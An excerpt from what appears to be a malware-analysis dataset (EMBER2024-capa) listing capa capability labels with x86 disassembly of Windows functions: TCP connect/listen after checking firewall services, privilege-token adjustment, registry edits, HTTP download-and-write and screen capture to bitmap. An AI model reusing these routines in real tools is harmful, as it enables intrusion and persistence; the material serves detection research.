joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007080
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10007095
pop ebp
ret 4
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
pop ebp
ret 4

Function at 0x100073a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x18], eax
xor eax, eax
mov edi, ecx
mov ecx, 2
mov dword [ebp - 0x14], eax
push edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 0x14], cx
call dword [sym.imp.WS2_32.dll_htons]
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [ebp - 0x12], ax
call ebx
push esi
cmp eax, 0xffffffff
jne 0x10007406
mov ecx, edi
call fcn.10007080
test eax, eax
je 0x1000743c
push esi
mov ecx, edi
call fcn.10007080
push eax
call ebx
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp - 0x18]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x1000743c
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10007451
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10007b80
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.MpsSvc
mov esi, ecx
call fcn.100066e0
add esp, 4
test eax, eax
je 0x10007bb1
push str.MpsSvc
call fcn.10006670
add esp, 4
push str.SharedAccess
call fcn.100066e0
add esp, 4
test eax, eax
je 0x10007bcf
push str.SharedAccess
call fcn.10006670
add esp, 4
mov ecx, esi
call fcn.100065f0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x6c], eax
cmp eax, 0xffffffff
je 0x10007c36
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x14]
mov word [ebp - 0x12], ax
mov eax, dword [esi + 0x6c]
push edx
push eax
mov dword [ebp - 0x10], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10007c49
mov ecx, dword [esi + 0x6c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0x10
mov edx, dword [esi + 0x6c]
push 0x32
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
mov eax, dword [esi + 0x6c]
jne 0x10007c77
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0x10
push edi
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x14]
push edx
push eax
mov dword [ebp - 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [ebp - 0x12]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [ebp + 0x10]
movzx edx, ax
mov eax, ecx
mov dword [esi + 4], edx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007ca6
sub eax, edi
je 0x10007cec
push ebx
mov ebx, dword [ebp + 0x14]
mov edx, ebx
lea edi, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x10007cc0
sub edx, edi
je 0x10007ceb
lea edi, [esi + 8]
sub edi, ecx
mov dl, byte [ecx]
mov byte [edi + ecx], dl
inc ecx
test dl, dl
jne 0x10007cd0
lea edx, [esi + 0x3a]
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10007ce1
pop ebx
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10007d12
inc dword [esi + 0x78]
push 0
push 0
push esi
push 0x10007310
push 0
push 0
mov dword [esi + 0x7c], eax
call edi
mov dword [esi + 0x74], eax
inc dword [esi + 0x78]
push 0
push 0
push esi
push 0x10007aa0
push 0
push 0
mov byte [esi + 0x80], 1
call edi
mov ecx, dword [ebp - 4]
test eax, eax
mov dword [esi + 0x70], eax
setne al
pop edi
xor ecx, ebp
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10007d50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10007da1
mov edx, dword [str.ini.ini]
mov ecx, dword [0x1000ac18]
mov dword [eax], edx
mov dl, byte [0x1000ac1c]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x108]
push eax
push edi
push esi
push 0x1000d350
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100088cc
mov esp, ebp
pop ebp
ret

Function at 0x10007df0
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10007e45
mov edx, dword [str.ini.ini]
mov ecx, dword [0x1000ac18]
mov dword [eax], edx
mov dl, byte [0x1000ac1c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 0x18]
mov byte [eax + 8], dl
lea eax, [ebp - 0x108]
push eax
push ecx
push ebx
push edi
push esi
push 0x1000d350
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x10007ed0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1000b318
push 0x10008922
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x1000d450]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x124], eax
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x12c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x13c], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x138], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x128], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x134], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x130], ebx
push 0x1000ac20
push ebx
call esi
call eax
push eax
call dword [ebp - 0x13c]
mov esi, eax
mov dword [ebp - 0x120], 1
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x140]
push ecx
push pe_nt_image_headers32
lea edx, [ebp - 0x11c]
push edx
push 2
mov eax, dword [ebp - 0x124]
push eax
call dword [ebp - 0x138]
test eax, eax
jne 0x10007fc7
mov dword [ebp - 0x120], 0
jmp 0x10007fdf
mov ecx, dword [ebp - 0x124]
push ecx
call dword [ebp - 0x128]
test eax, eax
je 0x10007fbb
push esi
call dword [ebp - 0x134]
mov dword [ebp - 4], 0xfffffffe
call fcn.10008019
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret
Function at 0x10008110
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1000d450]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push 0x1000a890
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x15], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov dword [ebp - 0x30], eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [ebp - 0x24], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x2c], eax
call ebx
push 0x1000a5b4
push eax
mov dword [ebp - 0x28], eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x30]
test eax, eax
jne 0x10008196
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100088cc
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x20]
neg edx
lea eax, [ebp - 0x10]
push eax
sbb edx, edx
push ecx
and edx, 2
push 0
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], edx
call dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
call dword [ebp - 0x24]
push 0x1000acb8
call ebx
push 0x1000ab50
push eax
call esi
call eax
test eax, eax
je 0x100081e3
xor bl, bl
jmp 0x100081e6
mov bl, byte [ebp - 0x15]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x100081fd
push edi
call esi
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10008207
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
movzx eax, bl
xor ecx, ebp
pop ebx
call fcn.100088cc
mov esp, ebp
pop ebp
ret

Function at 0x100087f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
push esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp + 0x1c]
push edx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push 0x10008750
push edx
push eax
call dword [sym.imp.MSVCR100.dll__beginthreadex]
mov ecx, dword [ebp - 4]
add esp, 0x18
push 0xffffffffffffffff
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100088cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000d450]
jne 0x100088d6
repz ret
jmp fcn.10008f1d
Function at 0x407c00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x37], 0
jne 0x407c13
cmp dword [esi + 0x2b], 0
je 0x407c21
mov dword [esi + 8], 0x1002
xor esi, esi
jmp 0x407caa
mov dword [esi + 8], 0
push 0xa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
or eax, eax
jne 0x407c45
mov dword [esi + 8], 0x3001
xor esi, esi
jmp 0x407caa
push eax
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
pop ecx
or eax, eax
jne 0x407c60
mov dword [esi + 8], 0x3002
xor esi, esi
jmp 0x407caa
mov dword [esi + 0x13], eax
mov dword [esi + 0x1b], eax
push ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
or eax, eax
jne 0x407c7f
mov dword [esi + 8], 0x3002
xor esi, esi
jmp 0x407caa
mov dword [esi + 0x17], eax
mov dword [esi + 0x2b], 2
push esi
call fcn.00407ed0
or eax, eax
jne 0x407c9e
mov dword [esi + 0x2b], 0
xor esi, esi
jmp 0x407caa
mov dword [esi + 0x37], 1
mov esi, 1
mov eax, esi
pop esi
leave
ret 0xc

Function at 0x40dcc7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4622b4]
jne 0x40dcd1
repz ret
jmp fcn.00417034
Function at 0x41d517
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00410c07
and dword [ebp - 4], 0
cmp dword [0x464a24], 0
mov ebx, eax
jne 0x41d5c8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41d679
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x45847c
push edi
call esi
test eax, eax
je 0x41d679
push eax
call fcn.00410b95
mov dword [esp], 0x45846c
push edi
mov dword [0x464a24], eax
call esi
push eax
call fcn.00410b95
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x464a28], eax
call esi
push eax
call fcn.00410b95
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x464a2c], eax
call esi
push eax
call fcn.00410b95
pop ecx
mov dword [0x464a34], eax
test eax, eax
je 0x41d5c8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410b95
pop ecx
mov dword [0x464a30], eax
mov eax, dword [0x464a30]
cmp eax, ebx
je 0x41d620
cmp dword [0x464a34], ebx
je 0x41d620
push eax
call fcn.00410c10
push dword [0x464a34]
mov esi, eax
call fcn.00410c10
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41d620
test edi, edi
je 0x41d620
call esi
test eax, eax
je 0x41d617
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41d617
test byte [ebp - 0xc], 1
jne 0x41d620
or dword [ebp + 0x10], 0x200000
jmp 0x41d659
mov eax, dword [0x464a28]
cmp eax, ebx
je 0x41d659
push eax
call fcn.00410c10
pop ecx
test eax, eax
je 0x41d659
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41d659
mov eax, dword [0x464a2c]
cmp eax, ebx
je 0x41d659
push eax
call fcn.00410c10
pop ecx
test eax, eax
je 0x41d659
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x464a24]
call fcn.00410c10
pop ecx
test eax, eax
je 0x41d679
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41d67b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x421960
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 9], 1
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 8]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4219b9
mov dword [ebp - 0x14], 1
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4219c5
mov byte [ebp - 9], 0
jmp 0x421a06
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 1
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4219fc
mov byte [ebp - 9], 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x421a10
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 5], 1
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 8]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x421a57
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x421a5b
mov byte [ebp - 5], 0
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x423830
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x42384b
mov al, 1
jmp 0x42384d
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4239d0
Capabilities:
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0xffffffff
mov byte [ebp - 9], 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x423aa3
push 0x400
call fcn.00438ba0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0xc], 0
je 0x423a30
push 0
push 0x80
push 2
push 0
push 2
push 0x1f01ff
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 0x400
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x423a4d
jmp 0x423a7d
cmp dword [ebp + 0xc], 0
je 0x423a77
cmp dword [ebp - 0x10], 0xffffffff
je 0x423a77
cmp dword [ebp - 8], 0
jbe 0x423a77
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 8], 0
ja 0x423a30
cmp dword [ebp + 0xc], 0
je 0x423a93
cmp dword [ebp - 0x10], 0xffffffff
je 0x423a93
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call fcn.00438b80
add esp, 4
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret 8
Function at 0x4244f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00422d10
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x42452c
jmp 0x424651
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx + 8]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
jne 0x424557
jmp 0x424651
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x424581
jmp 0x424651
mov eax, 0x4d42
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov eax, dword [ebp - 0x1c]
add edx, dword [eax + 0x14]
mov dword [ebp - 0x2a], edx
xor ecx, ecx
mov word [ebp - 0x26], cx
xor edx, edx
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x20]
lea ecx, [ecx + eax*4 + 0xe]
mov dword [ebp - 0x22], ecx
push 0
lea edx, [ebp - 0xc]
push edx
push 0xe
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4245dc
jmp 0x424651
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x20]
lea edx, [ecx*4 + 0x28]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x424604
jmp 0x424651
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x424637
jmp 0x424651
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, eax
jne 0x424647
jmp 0x424651
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov esp, ebp
pop ebp
ret
Function at 0x4262f0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x570
mov dword [ebp - 0x250], 1
mov dword [ebp - 0x218], 0x4594f8
mov dword [ebp - 0x214], 0
mov eax, dword [0x464b20]
push eax
push str.http:___s
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.004011d0
add esp, 0x10
mov edx, dword [0x464b20]
push edx
push 0x4585e0
push 0x104
lea eax, [ebp - 0x570]
push eax
call fcn.004011d0
add esp, 0x10
mov ecx, dword [0x464b30]
push ecx
push 3
mov ecx, dword [0x464e9c]
call fcn.0043a670
push eax
push 0x104
lea edx, [ebp - 0x358]
push edx
call fcn.004011d0
add esp, 0x10
mov byte [ebp - 0x249], 0
cmp dword [ebp - 0x250], 0
jbe 0x4264e2
movzx eax, byte [ebp - 0x249]
test eax, eax
jne 0x4264e2
push 0
push 0
push 0
push 0
push 0x19
mov ecx, dword [0x464e9c]
call fcn.0043a670
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x4264b8
push 1
push 0
push 3
push 0
push 0
push 0x50
lea ecx, [ebp - 0x570]
push ecx
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
je 0x4264ab
push 1
push 0x84400000
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x210]
push ecx
push 0
lea edx, [ebp - 0x358]
push edx
push 0x459514
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x42649e
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x426491
push 0
mov edx, dword [ebp - 0x248]
push edx
call fcn.004239d0
mov eax, dword [ebp - 0x248]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 0x249], 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.WININET.dll_HttpEndRequestA]
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
movzx edx, byte [ebp - 0x249]
test edx, edx
jne 0x4264dd
mov eax, dword [ebp - 0x250]
sub eax, 1
mov dword [ebp - 0x250], eax
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x426386
mov esp, ebp
pop ebp
ret